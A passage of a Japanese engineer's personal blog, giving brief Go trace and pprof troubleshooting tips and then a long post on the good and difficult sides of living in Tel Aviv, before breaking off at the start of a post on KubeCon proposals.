
あとは実行したらtrace.outが出力されるので $ go tool trace trace.out で利用可能です。ですが、自分の環境ではうまく表示されずエラーが出て困っていました。

f:id:knqyf263:20200326010443p:plain

解決策

自分の環境の問題だろうと思っていたのですが、 @orisano 先生に聞いたら同様のエラーが表示されるとのことでした。どうやらChromeがWebComponents V0を廃止したのが原因のようだと@orisano先生が発見しました。

github.com

ということでGo 1.14.1以降を使えば動くようですが、Go 1.14以前かつChrome 80以上だと動かないようです。

Goのpprofがruntime関連の情報しか表示してくれない時の解決方法

問題

Goでpprofを使っていたら以下のようにruntimeの情報しか表示してくれなくなりました。これだとどこがボトルネックなのか分かりません。runtimeのpthread_cond_signalが大きいけどどこから呼ばれているのか分からないし何も分からんという感じです。

f:id:knqyf263:20200326005037p:plain

解決策

GOMAXPROCS=1 を指定すれば良いと @orisano 先生から教わりました。CPUのコア数が多い時に発生しそうな雰囲気ですが詳細は深追いしてないので不明です。これで必ず解決するとは限りませんが自分の環境では改善されました。

イスラエルの良いところ・大変なところ

対象読者

イスラエルに引っ越す可能性があるような人やイスラエル生活に興味がある人向けに少しでも情報提供できればという思いで詳しく書いた記事になります。あくまで住む人対象で観光地とかはあまり触れてないです。それ以外の人はやたら長いだけで読んでも特に得るものないです。

背景

イスラエルに来て半年が経ちました。1年ぐらい経ったら引っ越してみての感想を書こうと思っていたのですが、既に慣れてきて自分の中で新鮮さが失われつつあり、日本もこんな感じじゃなかったっけ?みたいな気持ちになってきたので今のうちに書くことにしました。それでも面倒で放置していたのですが、CEOやCTOからも日本に向けて書いてよって言われたのでついに重い腰を上げました。

最初に断っておくと日本と比べてどっちが良いというわけではなく、一長一短だなと感じています。単にインターネット上に情報が多いほうが良いということで良い点・大変な点を書いてます。実際、自分がこっちに来る前に調べてみたもののアメリカやヨーロッパのようにたくさん日本人が住んでいる国とは違いあまり情報は得られず、良く分からないけど行ってみるか、とノリで来た部分はあります。もし来る前にもう少し情報があれば不安は少し和らいだかもと思うので、未来の誰かの役に立てばということで覚えている限りで全部書きます。何か思い出したらちょくちょく追記していこうかなと思っています。

あと、多分ここに出てくる多くの話はテルアビブの話になります。テルアビブはイスラエルで一番の都市で、自分もそこに住んでいるので必然的にテルアビブで体験したことが多くなります。とはいえイスラエル初心者がいきなりテルアビブというキーワードで検索するかと言うとそうじゃない気がするので(自分がそうじゃなかった)、あえてタイトルは大きめにしています。1つの都市にしか住んだことない人が日本を語ることもありますし、あまり大きく捉えずにそういうこともあるんだなーと思ってもらえれば幸いです。

あくまで主観の話なので、ヨーロッパではそれは常識だ!とか日本でもこの地域ではこうだ!というよりはボケーっと見てもらえればと思います。

気づいたことは大体Twitterに書いてるのでツイートをペタペタ貼ってます。

良いところ

良いところはとても多くて挙げきれないのですが、一応可能な限り説明してみます。

天気が良い

まず、基本ずっと晴れてます。9月に来て12月末まで一回もまともに雨見たことなかったです。今は雨季みたいなやつに入ったので雨が降ってますが、こっちの人に聞くと乾季の9ヶ月ぐらい雨の日が0という年も普通にあるみたいです。

もしかしたら天気がなんぼのもんじゃいと思う人もいるかも知れません。実際こちらに来る前に現地の人に天気良いと言われた時に自分も思ってました。ですが、こちらに来て気づきました。天気は本当に重要です。精神に与える影響が絶大です。こっちに陽気な人が多いのも間違いなく天気のおかげです(適当)。一番好きなところを挙げろと言われたら天気かもしれません。

自分はスクーターで会社に来てますが、雨が降って帰れないかも...とか心配する必要がありません。天気予報をチェックするのが苦手だった自分としては人生のストレスが1割ぐらい減りました。もう天気予報を見るのは諦めて濡れるという紳士的解決策を取っていた自分としてはとても助かっています。犬の散歩も行き放題です。

あと冬も短いので大体暖かいです。とはいえ冬は10度ちょっとぐらいまでは下がるみたいなので、あまり油断しないほうが良いです。

ヨーロッパの町並み

雰囲気はヨーロッパに似ていると思います。オフィスの近くは以下みたいな感じです。

週末には蚤の市のようなものも開かれ歩いてるだけで楽しいです。

そしてTel Avivは普通に都会ですし綺麗です。日本のニュースの印象や中東のイメージとはかけ離れてます。自分も来てからただの都会じゃん...と驚きました。もちろん事前に調べてはいましたが想像以上でした。

ちなみに1人当たり名目国内総生産GDP)では日本は2014年にイスラエルに抜かれています。あまりイメージがないかもしれませんが完全に先進国です。その後もめざましく発展を続けています。

www.nikkei.com

宗教の聖地がある

特に詳しくない自分が語るべきことではないので割愛しますが、エルサレムがあり3つの宗教の聖地になっています。無宗教の自分ですら嘆きの壁は感じるものがあったので歴史に造詣が深い方は感動するのではないかと思います。

ちなみに無宗教と言うよりは"仏教"と答えるほうが良いみたいですが、今のところ無宗教と答えて何か問題になったことはありません。

1kara.tulip-k.jp

Tel Avivは移民も多く割とその辺りゆるい都市なので、会社の人も親は敬虔な信者だけど自分たちの世代はそこまで教えを厳格に守っている人は少ないと言っていました。エルサレムに住んでる人たちはかなりその辺り厳格で、ユダヤ教の制服のようなものも着ています。黒いスーツに黒いハットで全身黒い感じです。ただ一部のユダヤ教の人はあんなの暑くて無理でしょ、と言ってましたし個人差がありそうです。

イスラエルは今選挙のやり直し続きで非常に揉めていますが、より宗教色を強くしてユダヤ教以外の人間を締め出したいという派閥ともっと海外の人を呼び込んでオープンな国にしたいという派閥で争っているみたいです。Tel Avivの人はグローバルな人が多いので後者の考えの人が多いみたいですが、エルサレム周辺の人は前者の考えみたいなので票が真っ二つとのことです。

人が優しい

イスラエルは英語話せる人がかなり多くて、その点では困ることは少ないのですが駅の仕組みとか諸々日常で困ることがあります。そんな時、どうやるんだろう...みたいな顔をしていると大体誰か近づいてきて助けてくれます。駅のチケット売り場で困っていたらやり方を教えてくれましたし(普段は難しくないのですがその日は選挙でちょっと特殊だった)、スーパーで肉の注文とか分からなくて困っていた時も助けてもらいました(日本みたいにパックで売られていなくて、店内にでかい肉が置いてあって量を伝えて切ってもらう)。

また、妻が体調悪くなってベンチで休んでいたら色々な人が声かけてくれたり水買ってきてくれたりしました。全部イスラエルに着いてから2週間ぐらい以内に起きたことで驚きました。

日本で海外から来た人が困っていても自分が積極的に声かけられるかと言うと難しいと思うので、この辺りガンガン行けるのは良いなーと思いました。1回や2回なら良い人もいるんだなーという感じですが、しょっちゅう起きるのでもうこれは国民性と言っても良いんじゃないかと思っています。

上の例は見知らぬ人の例でしたが、社内でも助けられまくっています。銀行口座作ったりとか家の契約したりとか、自分のような外人には簡単ではなくて毎日困難の連続でしたが、その度に会社の人が付き添ってくれたり代理でやってくれたりして何とかなってきました。あまりにも何もできないですし、自分が一人で単独乗り込んでいたら今頃死んでたと思います。アメリカからイスラエルに移住した人とかは割と多いのでもう少しスムーズに行くのですが、日本人はとにかく少ないので銀行でも「日本人は初めてだからなー」とか言われますし難易度高めです。

Wikipediaによると2015年時点でイスラエルにいる日本人は1011名らしいです。自分の大学の学部入学者は毎年1100人ぐらいいたと思うので、それよりも少ないです。

2015年10月時点で在留邦人数は1011名

日本とイスラエルの関係 - Wikipedia

レストランは大体英語メニューが付いていますが、大衆向けのところは回転が早いのでレジの前に行ってからゆっくり見る余裕はありません。なので遠くからメニューを見て予め頼むものを決めておく必要がありますが、大きく書いてあるのは大体ヘブライ語です。そんな時も同僚は常に英訳してくれます。とても助かっているのですが、英語も別に得意じゃないのでちょくちょく理解できてなくて本当にすまぬと思っています。

妻の誕生日が近いと言ったらみんなオススメとかを次々と教えてくれたり代わりに電話でスパ予約してくれたり、マジで優しいです。インターネット開通手続きも代わりにやってもらいましたし、注文した洗濯機が大きすぎて部屋に入らなかった時の交換の交渉とかも全部やってもらいました。これだけ良い人が多いのも天気が影響してるのではないかと疑っています。他にも挙げるとキリがないのでこの辺りにしておきます。

人が陽気

やたらと話しかけてきます。店員とかも気さくな人が多いです。この写真は家の近くのカフェの店員です。

今何時?とか火貸してとかすぐ言われます。近所付き合いも活発なので外出ると最近どう?みたいに話しかけられます。東京で住んでたマンションでは隣に誰が住んでたのかすら知らなかったので大きな変化でした。その辺りは日本の田舎も同じかもしれませんが。

陽気なところ良いなと自分では思っていたのですが、近所の人はスーパーで多めに買ってたら知らないおばさんから「あんた何をそんなにたくさん買うの!」とか言われたりするので陽気すぎてちょっとうざいと言ってました。

シェアスクーターが便利

電動スクーターが至るところに置いてあって、好きなところで乗って好きなところに乗り捨てられます。

電動スクーターがこれだけ普及しているのはサイクルレーンのおかげだと思います。もし車道で車と一緒に走らないとダメだとしたらかなり怖いと思います。

www.bcnretail.com

日本ではサイクルレーンも少ないですし、こういう新しい取り組みに対して障壁が多いので使えるようになるとしても当分先かなと思います。

jp.techcrunch.com

リゾート

テルアビブはビーチがすぐそこにあり、地中海リゾートと呼ばれています。この辺りは既に解説しているブログが多いので割愛します。ビーチ綺麗だし人の密度もハワイとかに比べれば全然少ないので快適です。

sekaishinbun.net

オフィス街とビーチが近い

リゾートなのは良いとして、もしそのリゾートが遠ければ気軽に行けないし実質意味ありません。ですが、テルアビブの凄いところはビーチとオフィスが融合されているところだと思います。ちょうどよい写真を持っていないのですが、若干雰囲気伝わる写真を貼っておきます。

これを見るとビーチと高いビルが近いことがわかります。オフィス街からスクーターで飛ばせば12, 13分でビーチまで着きます。自分の家からであればビーチまで8分です。オフィスまでも8分なので移動が楽です。今日疲れたからビーチ行こうとかも気軽にできます。実際、休日は気分転換ビーチに行ったりすることもちょくちょくあります。そもそもテルアビブは51.79平方kmで小さい都市なのでスクーターでどこでも行けます。

治安が良い

イスラエル行くというと治安大丈夫なの?とか聞かれたりすることがありますが、正直かなり安全です。大枠は以下のブログに書いてある通りです。

https://getnews.jp/archives/2212356getnews.jp

上のブログに書いてないようなことを補足しておきます。まずガザ地区からの攻撃ですが、基本的にTel Avivに届くようなことはほとんどありません。万が一危険性があるような場合はアラームが街中に鳴り響くのでアパートに付いているシェルターに入れば普通に間に合います。

そしてこれは同僚から聞いた話なのですが、そもそもガザはイスラエルに大きなダメージを与えることを望んでいないとのことです。もしそうなれば戦争になり、軍事力で劣るガザは深刻なダメージを受けることになります。なので、適度に緊張感を保つようにしているとのことです。また、ロケット弾を打つとイスラエル市民はシェルターに入ることになり学校等も休校になり会社も休みになります。そうすることで経済的にダメージを与えることが可能です。このように直接的に死者を出すようなダメージを与えるというよりは経済的な狙いのほうが大きいということみたいです。ロケット弾に関してもガザは経済的な余裕がないため威力の大きい高精度なロケット弾は打つことが出来ないようです。さらにイスラエルにはアイアンドームという迎撃ミサイルがあるためほとんどが撃墜されます。ですが、ガザの打つ安いロケット弾よりもアイアンドームのミサイルのほうが高額です。そのためロケット弾を打てば打つほど経済的にはイスラエルにダメージを与えられます。こちらも先程同様の狙いがあるということです。

ということでガザの脅威はあまりありません。もちろん最初にアラームを聞いてシェルター入ったときは驚きましたが、日本の地震の方がやばいだろうという指摘を受けてその通りだと思いました。ロケット弾に慣れているイスラエル人にとっては地震のほうが遥かに怖いと。東日本大震災では死者1万5897人、不明2533人ですが、ここ10年でのガザのロケット弾による死者はそれより遥かに少ないと思われます。

イスラエルパレスチナ紛争として第四次中東戦争以来最大の死傷者と言われているガザ侵攻でも民間人犠牲者は7人です。東日本大震災での死者はほとんど民間人と考えるとロケット弾より断然恐ろしい国に住んでいたのではないかという気がしました。東京に首都直下地震とか来たらどうなるのか考えると恐ろしいです。それに比べたらロケット弾はアイアンドームで頑張れば防げる、とこっちの人に言われてなるほど...と考えさせられました。

ガザ侵攻 (2014年) - Wikipedia

ということで長くなりましたが街中の治安の話に戻します。上のブログにもあるように、こっちの人はレストランとかで平気で財布等の貴重品を置きっぱなしにして離れます。財布も普通にズボンの後ろポケットに入れて剥き出しになっています。フランスとかイタリアでそんなことをしたら一瞬で盗まれると思いますが、こっちはそういう危険な雰囲気も全く無いです。

あとは夜間に女性が1人で出歩いていたりします。子供も夜遅くに外で遊んでいたりします。治安の悪い国ではまず不可能なので安全な国だなと感じています。

そしてつい先日のことですが、自分はショッピングモールで鞄をなくしました。3/11で日本では防災意識を高めようという雰囲気だったと思いますが、危機意識のかけらもない自分は普通に鞄を置きっぱなしにして手ぶらで帰宅しました。何か体が軽いな?とは思いましたが全く気づきませんでした。

鞄にはiPadAirPods Proなどなどそこそこの金額のものが何点か入っていました。これは絶対見つからないなと思って諦めていたのですが、翌日探しに行ったら発見されました。中身も全部無事でした。親切な人が届けていてくれたみたいです。

高価なものが一切盗まれず落とし物が見つかるというのは治安の良さとして伝わりやすいのではないかと思います。

ヨーロッパに観光行ったときは結構怖い地域も多かったのですがイスラエルは怖いと感じることがほとんどないです。こっちに8年住んでいる日本人の方と話したら東京よりもテルアビブの方が治安良いと感じていると言っていました。そう言うのも納得なぐらいです。ただもちろんテルアビブ以外では少し怖いと感じる地域もあります。どこに行っても安全というわけではないので、その点は気をつけてください。

食事が美味しい

個人差あると思いますが、料理は普通に美味しいです。以下はフムスやファラフェル、シャクシューカの写真です。そのあたりのワードでググれば美味しそうな写真出てきます。

朝食は小皿みたいなのがいくつか出てくるのが主流で美味しいです。

ユダヤ教徒が多いのでもっと質素な食事を想像していたのですが、昼にハンバーガー夜にピザとか平気で食べます。正直日本のほうが質素な食事してました。

唯一注意したいのはKosherです。これはユダヤ教徒が守る食事に関する教えなのですが、これがかなり厳しいです。豚はNGですし、エビや貝のように鱗がない魚もNGです。

コーシャジャパン株式会社 | 日本初のKJマーク(コーシャ認定)取得機関

肉と魚を同時に食べることも許されていませんし、肉と乳製品を同時に食べることも出来ません。つまりチーズバーガーは食べられません。そして肉も血抜きが必要なのでジューシーさがあまりありません。そこまで詳しくないので細かいルールは間違っているかもしれません。

基本的にユダヤ教徒ではない人には関係ないのですが、Kosherレストランが街には結構多いです。うっかり知らずに入ってしまうと口に合わない可能性が高いです。Kosherマクドナルドも存在しているのですが、我々の知っているマクドナルドの味だと思って食べると衝撃を受けると思います。観光の記念として挑戦して見る分には良いと思います。

安息日がある

毎週安息日というユダヤ教の休日があります。こちらは金土休みなのですが、金曜の日没から土曜の日没まで労働が許されていません。つまりショッピングモールやレストランは閉まります。さらにバスや電車等の交通機関も全て止まります。そのためどこにも出かけられませんし、出かけても何もすることがないです。

business.nikkei.com

厳格なユダヤ教徒は電化製品も使えないのでテレビやパソコンも利用不可です。料理もできないので前日までに作っておく必要があります。さらに労働の解釈は広く、エレベーターのボタンを押したりするのすら労働に当たります。そのためホテルではどうしているかというと各階に停止するエレベーターが動きます。ボタンを押さずに乗ることが出来ます。Apple Storeだと思えばオシャレさを感じることが可能です。

基本的には何も出来ないしデメリットだなと思っていたのですが、逆に言うと何も出来ないのでひたすらリラックスする時間になります。自分はこっちで犬を飼い始めたので週末は犬と散歩に行ってます。

日本だと何かしなくては、という強迫観念にかられていましたが毎週強制的に休ませられるというのは実はとても良いことかもしれないと思うようになりました。

公園で犬とダラダラ過ごすのも悪くないです。

多様性に寛容

LGBTフレンドリーな国です。

locotabi.jp

また、ビーガンメニューなど多くのレストランにありますし、デカフェコーヒーも多くのカフェにあります。日本に観光行ったビーガンの人は日本では食べられるものを探すのが大変だったと言っていて、自分がビーガンじゃないので意識していませんでしたが確かにビーガン対応レストランとか少ないなと気づきました。

電車が綺麗

電車が新幹線みたいなスタイルで綺麗ですし広いです。さらに自分が乗った限りでは100%座れてます。もちろん路線にも依るとは思います。東京の電車とかに慣れていると、電車ってこんなに快適な乗り物だったのか、と気付かされます。

子供に優しい

合計特殊出生率は3.1で、日本の1.4と比べて倍以上あります。街中にとにかく子供が多いです。そしてみんな子供に優しいです。子供が泣いて嫌な顔をする人とか基本いませんし、ベビーカー押してるお母さんとかがいると知らない人が当たり前のように手伝っています。バスの中で旦那さんがベビーカー持ってるのかな、と思ったらお母さんがベビーカーと降りる時に手を振ってお別れしてて、全く知らない人がただ手伝っていただけみたいなことも多いです。

dot.asahi.com

あと公園の数が多いです。さらに一つ一つの公園に遊具がとても多いです。ブランコも長い。

週末は子供がとても多くて家族で溢れています。

犬に優しい

Tel Avivは信じられないぐらい数の犬がいます。犬の散歩に行くとどの時間帯でもまず間違いなく数匹の犬と会います。ドッグランが家の近くだけで徒歩10分以内に3つもあるので週末はそこに連れて行って他の犬達と遊ばせてやれます。レストランも基本的に大体犬OKです。それどころかレストランに犬用の水や餌入れとかも用意してあることが多いです。

さらに驚いたのは犬専用ビーチがあります。はっきりと犬向けと書いてあるのでみんな犬を連れてきてビーチで遊ばせています。

あとオフィスに犬を連れてくる人も普通にいます。大きい企業だとドッグシッターを雇っていて仕事中は預けておけば散歩なども行ってくれるみたいです。バスや電車など乗せるのも何も問題ありません。犬に関しては間違いなく日本に住むよりこっちに住むほうが幸せだろうなと思います。

ベンチが多い

街中の至るところにベンチがあります。みんな日中ベンチに座ってコーヒー飲んだりしながらゆったり過ごしていて良いなーと思います(この写真では誰も座っていませんが)。

ゴミ箱が多い

ゴミ箱が5m置きぐらいに設置されていたりします。すぐに物を捨てられるの便利。

美男・美女が多い

こっちの人はヨーロッパ系の顔立ちで、女性は金髪の人が多く美人が多いです。あと男女ともに太っている人が少なくてシュッとしてます。理由を聞いてみたら兵役でトレーニングさせられるので土台として身体が鍛えられているし運動する習慣が付くので兵役後も運動している人が多いのとかはあるかも、と言っていました。

街中には軍服来た兵役中の女性も多いので本当にこんな感じです。

matome.naver.jp

ナタリー・ポートマンイスラエル出身です。

www.mine-3m.com

携帯料金が安い

後述しているように基本的には物価がめちゃめちゃ高いので焼け石に水的なところはありますが、携帯料金はなぜか安いです。月20GBで電話かけ放題のプランで1500~2000円です。同僚に言ったら「それでも高い。1000円以内で契約できる。」と言ってました。

タクシーが安い

タクシーはGettというUberのようなアプリがあってとても便利です。そしてなぜかやたら安いです。結構乗ったし3000, 4000円はするだろうなーと思ってメーター見ても2000円行ってないこととかも普通にあります。

10bisが便利

10bisというサービスがあるのですがこれが便利です。

www.10bis.co.il

会社からカードが配られて、そのカードで支払うと会社支払になります。会社は月にある程度の金額をそのカードにチャージしてくれるので、そのカードで支払えば無料で食べられます。このカードはほとんどの店が対応しているため、休日とかでもそのカードで払えばタダです。月の上限を超えれば自分のクレジットカードから引落されます。社食とか作るよりもみんな好きなものを店で食べられるからこっちのほうが良い、と言っていてなるほどなと思いました。

あとデリバリーも可能です。賢いなと思ったのはオフィスにいる場合、別フロアの人が同じ店で頼んでいれば注文がまとめられて送料が無料になります。うちのビルは40F以上あって会社が多く入っているので送料がほぼ間違いなく無料になります。これ日本でもやったら流行るんじゃないかと思ってます。

そして送料払えば家からでも注文可能です。中にはデリバリーが無料の店もあります。他にもWoltというUber Eatsみたいなやつもありますしフードデリバリーは日本よりも盛んです。

医療制度が整っている

以下の記事に書いているのですが、大きな病院のグループが4つぐらいあってそのグループ内ではカルテ等が全て共有されているので違う病院に行っても続きから受けられます。さらにその先生でわからないことがあっても別の病院の先生にすぐ連携できるので専門家の話が聞きやすいというメリットもあります。日本では何で毎回問診票書くんだ...と常々思っていたので便利で驚きました。過去の病気とかうっかり書き忘れたら命に関わることもありそうだし改善されて欲しいなと思います。

www.itmedia.co.jp

Tel Avivは狭いのでmeetupとか行くの楽

日本では基本的に移動が面倒であまり勉強会とか行かない人間だったのですが、こっちでは大体徒歩で行ける距離で開催されるのでそれなら仕事終わりに少し顔出してみるかという気分になります。それでも2ヶ月に1回ぐらいしか行ってませんが。

ソフトウェアエンジニアの待遇が良い

これはまた別途書こうと思いますがイスラエル企業はアメリカのソフトウェアエンジニアとかを雇うための給料設定がされているので給料はかなり高いです。これは若者にとってソフトウェアエンジニアが憧れの職業であることが大きいみたいです。逆に医者や弁護士は人気がなくて給料が低いらしいです。こちらで働いている日本人弁護士の方は日本の時よりも給料が下がったとのことです。

どちらでもない点

アジア人が少ない

チャイナタウンは世界中にどこでもあるからな〜とか言ってイスラエルに来たのですがありませんでした。聞いたら中国人や韓国人はビザを取るのがとても難しいみたいです。日本人も簡単なわけではないので先述したとおり1000人程度しかいません。実際に街中を歩いていてアジア人を見かけることはほとんど0です。観光客っぽい人をたまに見かけるぐらいです。日本人は半年で1, 2回しか見たことないです。こっちでアジア人と交流したいと思っても厳しいです。

自分は別に交流しなくても平気だなと思ってたのですが、中華料理や韓国料理が食べられないのはかなりストレスであることに気づきました。中華料理店自体はたまーにあるのですが、恐らく知っている料理とは大きく異なります。韓国料理がないので焼肉屋も一切ありません。というかアジアの区別がそもそもあまり付いてません。

ですが日本料理はこちらで大人気で寿司はどこでも食べられます。人口あたりの寿司屋の数は世界3位と言われているみたいです。ただ周りを揚げてあったりスパイシーマヨネーズを付けて食べたり、我々の求めている寿司とはかなり異なります。お金を出せば日本っぽい寿司が食べられたりもしますが高すぎて頻繁には食べられないのと、それでも回転寿司のクオリティにも満たないのでおとなしくフムス食べておいたほうが良いな、となって久しく食べてないです。

アジア人が本当にいないので日本語とかを使う機会が0です。こないだ2ヶ月ぶりに妻以外の日本人の人と会いました。さすがに少しテンション上がりました。基本生活の全てが英語かヘブライ語で話さないといけないので勉強になるという点では良い点かなと思います。

ただ一方でとても目立ちます。すぐ「Chinese?」とか話しかけられます。別に普段は気にしていなかったのですがコロナウイルスの影響でアジア人に対しての風当たりが強い状況だと少しマイナスかなと感じています。

www3.nhk.or.jp

とはいえこういうのは一部の話で自分は全く被害を受けていません。会社の人も近所の人もひたすら優しいです。一部におかしなやつもいるから気をつけてね、と忠告はしてもらいました。

大変な点

どちらかと言うと日本が異常、みたいな話が多い気もしますが一応比較として。

物価が高い

これは今となっては日本の物価が安すぎるという話だとは思いますが、日本と比べると物価が圧倒的に高いです。すべての物が2倍はします。マクドナルドに行ってセット頼むと1500円はします。ランチで2000円ぐらい出しても大したものが食べられないということも多いです。

同僚がビッグマックの値段で比較すると良いと教えてくれたのですがイスラエルは6位です。アメリカが3位なのでアメリカの物価に迫るぐらいの高さだということが分かります。日本は27位です。

https://www.statista.com/statistics/274326/big-mac-index-global-prices-for-a-big-mac/www.statista.com

たまにまだ東京が高い物価の都市だと思ってくれる人もいるのですが、毎回半分ぐらいの物価だと伝えて切ない気持ちになっています。既にそれを知っている人は日本は物価が安いので旅行や買い物に便利という認識になっていますし、後進国になっていってる感があって悲しいです。

家賃高い

家賃もTel Avivだと平気で30~40万円とかかかります。こちらに住んでる日本人弁護士の方も家賃は40万円以上だと言っていました。自分たちはたまたま日本好きのオーナーの人と出会えたおかげで22~23万円ぐらいのところに住むことが出来ましたが、他の物件は高かったですし運が良かったケースかなと思っています。

ウォシュレットがない

イスラエルに限らずアメリカとかアジアとか日本人が多数住んでいる国全てそうだと思いますがウォシュレットがないです。これは本当に致命的で、ずっとウォシュレットのない国には住めないと言い続けていたのですが主張は正しかったです。もう限界が来ています。

二郎がない

自分はジロリアンですが二郎食べられないのが本当にストレスです。これだけで日本に住む価値があります。ただボストンにもあるという噂を聞いたのでアメリカは住めるかもしれません。というかこっちは二郎どころかラーメンすら殆ど無いです。2000円払って出てきたラーメンは不味すぎて食べきれずに残しました。こっちでマルちゃん正麺を2000円で売ればエグいほど儲けが出るんじゃないかと思ってます。

時間にルーズ

基本待ち合わせも遅刻しますし、バスや電車の時間は守られません。日本では電車が1分遅れるだけで謝罪することもあると言うと大体狂ってると言われますし、日本が異常なだけという気もしてます。

運送業が終わっている

時間指定とかいうのはまず機能しません。時間外に来るならまだマシですが、その日にすら来ないことがしょっちゅうです。そして来なくても連絡の一つもありません。仕方ないのでこちらから電話するのですが、道に迷って帰ったとか言われたりします。しかもこっちの住所はとてもシンプルで、〜丁目までしかありません。つまり"品川1丁目"とかがもう家の位置を指します。このシンプルさで道分からないならドライバーもうやっていけないでしょ...と思ってます。さらに言うと休日は安息日の関係で働かないので平日の日中に待機し続ける必要があるのも大変です。

つまり、

  1. 時間指定する
  2. 平日に家で待機する
  3. 時間内に来ない
  4. その日にすら来ない
  5. こちらから電話する
  6. 1に戻る

というのを3回ぐらい繰り返す必要があります。死ぬほどストレスが溜まるのですが、3回ぐらいやるとさすがに受け取れます。そして受け取ると大体以下のような状況になっています。

ツイートにも書きましたが、3回目ですら時間内に来ずiMacの入ったボロボロの段ボールを家の前に放置して帰っていました。一番信頼性が高いと言われているEMSで送ったのですが、現地の人からするとイスラエルに物を送るときには絶対にEMSは使ってはいけないというのは常識みたいです。自分の場合は関税で何ヶ月もストップされた挙げ句、新品のPCに見えるとかイチャモンを付けられて何万円も取られて3ヶ月越しにようやく受け取れる...!!と胸を膨らませて上の状況だったので、さすがにドライバーを10発ぐらい本気で殴ろうかと思いました。税関では新品に見えるとイチャモンつけられていたので壊したのはほぼ間違いなく運送業者だと思われます。

中もボロボロです。

補償を求めてダメージレポートを出したのですが、実はドアの前に放置されていたのは逆に良かったみたいです。もし受け取ってしまっていたらこの状態の荷物を了承したとみなされて厳しかったみたいです。ダメージレポートも自分では出せなかったのでこっちの人に代理でやってもらいました。本当にありがたいです。

ちなみにPCが壊れた話を会社の人にしたらみんな似たようなことを言っていて国民性を感じました。

EMSは一番速いと歌っているため一番値段が高いのですが、実際には数ヶ月かかる上に関税に間違いなく目をつけられるので一つもいいことがありません。その上粉々に壊されます。ですが実験を重ねた結果、小型包装物が神であることが分かりました。

www.post.japanpost.jp

2kgまでしか送れませんが1週間で届きますし5000円以下と書いておけば関税にも捕まりません。2kg超えるものは帰国時に気合で持ってくるか諦めましょう。

買い物が不便

大型量販店みたいなのがないので、それぞれ買いに行く必要があります。日本みたいにイオンで何でも揃うぜ!みたいなことがないです。肉欲しければ肉屋に行って野菜が欲しければ八百屋に行きます。家電が欲しくてもビッグカメラみたいなのがないので、在庫調べて小さい店に行ったりしないといけないです。ただこれはヨーロッパとかも割と同じだと思います。

接客が雑

これも日本が異常シリーズだと思いますし他の国に行ったときにもよく感じていたことなのですが、接客が雑です。普通に話しかけてもスマホゲームしてて無視とかされます。レストランで声かけて明らかに目があったのに無視されることもあります。

特に酷いのはバスです。バス停で待っていても平気で無視します。上に書いたように遅延も酷いので30分待たされた挙げ句に無視されたこともあります。手を挙げて全力で乗りたいアピールしないと止まってくれません。外人に対する嫌がらせか?!と思いましたがイスラエル人も辛いらしいのでバス運転手が単に酷いみたいです。以前バス乗ってたらおじいちゃんが走ってきてドア叩いて開けてくれ!と叫んでいたのにガン無視する運転手も見ました。

色々と雑

接客だけに限らず基本大体全てが雑です。銀行でカード発行されたから支店に取りに来いと言われたから行ったらないと言われて、「でもあるって言われて来たんだけど?」「いやないもんはない」ってやり取りをして帰らされたことがあります。コールセンターにかけたらやっぱり支店にあるって言われて、仕方なくもう一度行ったら「だからないって言ってるでしょ」と言われて「は?!?!」ってなりました。最終的に支店の人がカード紛失していただけらしくめっちゃ探したら見つかったと後日連絡が来ました。銀行でカードなくすことある?!と衝撃を受けました。

他にも携帯の契約を自動更新することが出来ず(理由はIDのところで後述)3ヶ月単位で契約していたんですが、突然2ヶ月で使えなくなりました。連絡したら「2と3間違えてたわーガハハ」ってなって、いやネットから申し込んだのに手動で打ち込んでんの...?と衝撃を受けたりもしました。

他にも当初言われていた日程からビザの手続きが遅れに遅れまくって、家解約したのにビザが間に合わずホームレスになったりもしました。

仕方なく1ヶ月遅らせたのですがそれでもギリギリで、出国まで24時間を切ってもビザが手に入らずひたすら祈り続けたりもしました。

この手の衝撃エピソードは挙げるとキリがないです。

順番守らない

順番待っていても普通に割り込まれます。そのぐらいはまだいいのですが、番号を発行して待っていても割り込まれることがあります。郵便局では待っている人に対して番号が発行されます。モニターに番号が表示されたらカウンターに行く仕組みですが、自分の番だと思って行ったらサッと自分の前に他の人が入りました。さすがにいやいや自分の番だからって言ったのですがガン無視されました。驚いて譲ってしまったのですが、こういう時に強く言えるようにならないと生きていけないなと思います。

物言いがストレート

回りくどいのが嫌いみたいなのでかなりビシッと言います。お前のアイディアはダメだ、とか平気で言います。喧嘩してるのか...?みたいなミーティングもありますがネチネチ言うよりはストレートに言う方がスムーズで良いなと言う気もするので最近は特に気になってないです。

サウナがない

サウナがないです。もしかしたら現地の人に探してもらえば見つかるのかもしれませんが、自分で見つけられたサウナはゲイのやつでした。

年末年始休みがない

ユダヤ教の新年は9月末から10月頭(年によって違うとのこと)なので、12月末は平日です。時期が異なるだけで年末年始がないわけではないのですが、日本の年末年始の感じは好きだったので少し残念に感じます。そして同じチームで別の国の同僚達が12月中旬あたりから長期休暇を取る中働いていると切ない気持ちになります。

祝日が固まっている

こっちに来てから気づいたのですが日本は祝日天国でした。ほぼ毎月祝日があるという。イスラエルでは10月に大量の休みがあり、有給も繋げれば1ヶ月ほとんど休みみたいな感じになります。ただし、10月が終わるとそれ以降4月まで祝日が0です。トータルでの祝日も日本に比べたら少ないです。日本とやり取りしていると今週も3連休!みたいなことを凄く頻繁に言われているように感じて辛くなります。 www.arukikata.co.jp

何するにもIDが必要

これはイスラエルが悪いわけではないのですが、イスラエルに住む外人には関係ある話なので書いておきます。当たり前ですがイスラエル市民じゃないと国民番号がもらえません。そしてオンラインショッピングなどをしようとすると98%ぐらいの確率でIDを求められます。そのためネット上で買い物ができません。他にも税金や光熱費などの支払いでもIDが求められるせいでネット手続きができません。なので仕方なく近くの郵便局に2ヶ月に1回行って支払っています。これは結構ストレスなので気をつけたほうが良いです。

ラクション鳴らしがち

始めて中国や韓国に行った時にも驚いたことなので特に気にしてないのですが、自分がスクーター載ってる時に後ろの車からクラクション鳴らされると結構ビビるので辞めてほしいと思うことがあります。

まとめ

日本にもイスラエルにもどちらにも良いところ・大変なところがあります。

KubeCon + CloudNativeConにプロポーザル出すときに気をつけたこと

サイボウズさんの記事を読んで、自分も今回プロポーザル出したときに会社の人から貰ったアドバイスをまとめておこうと思いました。というのも、自分の席の隣の人が実際に今回のKubeCon Europe 2020でレビュワーだった人ですし、チームのボスはKubeConのChair経験者だったりするので、割と貴重な情報なのではないかと思っています。とはいえ何か特別なテクニックがあるわけではないです。

KubeConって何?とかは以下の記事を読んでもらえればと思います。 blog.cybozu.io

